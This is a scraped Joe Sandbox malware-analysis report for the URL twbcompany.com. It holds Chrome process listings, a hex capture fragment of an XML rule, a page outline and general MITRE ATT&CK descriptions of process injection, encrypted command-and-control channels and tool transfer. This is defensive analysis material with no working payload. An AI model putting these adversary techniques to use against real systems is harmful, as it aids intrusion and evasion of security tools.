2024-10-07 11:17:51 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: chrome.exePID: 5040, Parent PID: 480

General

Target ID:	0
Start time:	07:16:48
Start date:	07/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 4176, Parent PID: 5040

General

Target ID:	2
Start time:	07:16:51
Start date:	07/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=2036,i,16356188163992017998,3218319905475874735,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6348, Parent PID: 480

General

Target ID:	3
Start time:	07:16:54
Start date:	07/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "http://www.twbcompany.com"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://www.twbcompany.com

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 127

Chrome Cache Entry: 128

Chrome Cache Entry: 129

Chrome Cache Entry: 130

Chrome Cache Entry: 131

Chrome Cache Entry: 132

Chrome Cache Entry: 133

Chrome Cache Entry: 134

Chrome Cache Entry: 135

Chrome Cache Entry: 136

Chrome Cache Entry: 137

Chrome Cache Entry: 138

Chrome Cache Entry: 139

Chrome Cache Entry: 140

Chrome Cache Entry: 141

Chrome Cache Entry: 142

Chrome Cache Entry: 143

Chrome Cache Entry: 144

Chrome Cache Entry: 145

Chrome Cache Entry: 146

Chrome Cache Entry: 147

Chrome Cache Entry: 148

Chrome Cache Entry: 149

Chrome Cache Entry: 150

Chrome Cache Entry: 151

Chrome Cache Entry: 152

Chrome Cache Entry: 153

Windows Analysis Report
http://www.twbcompany.com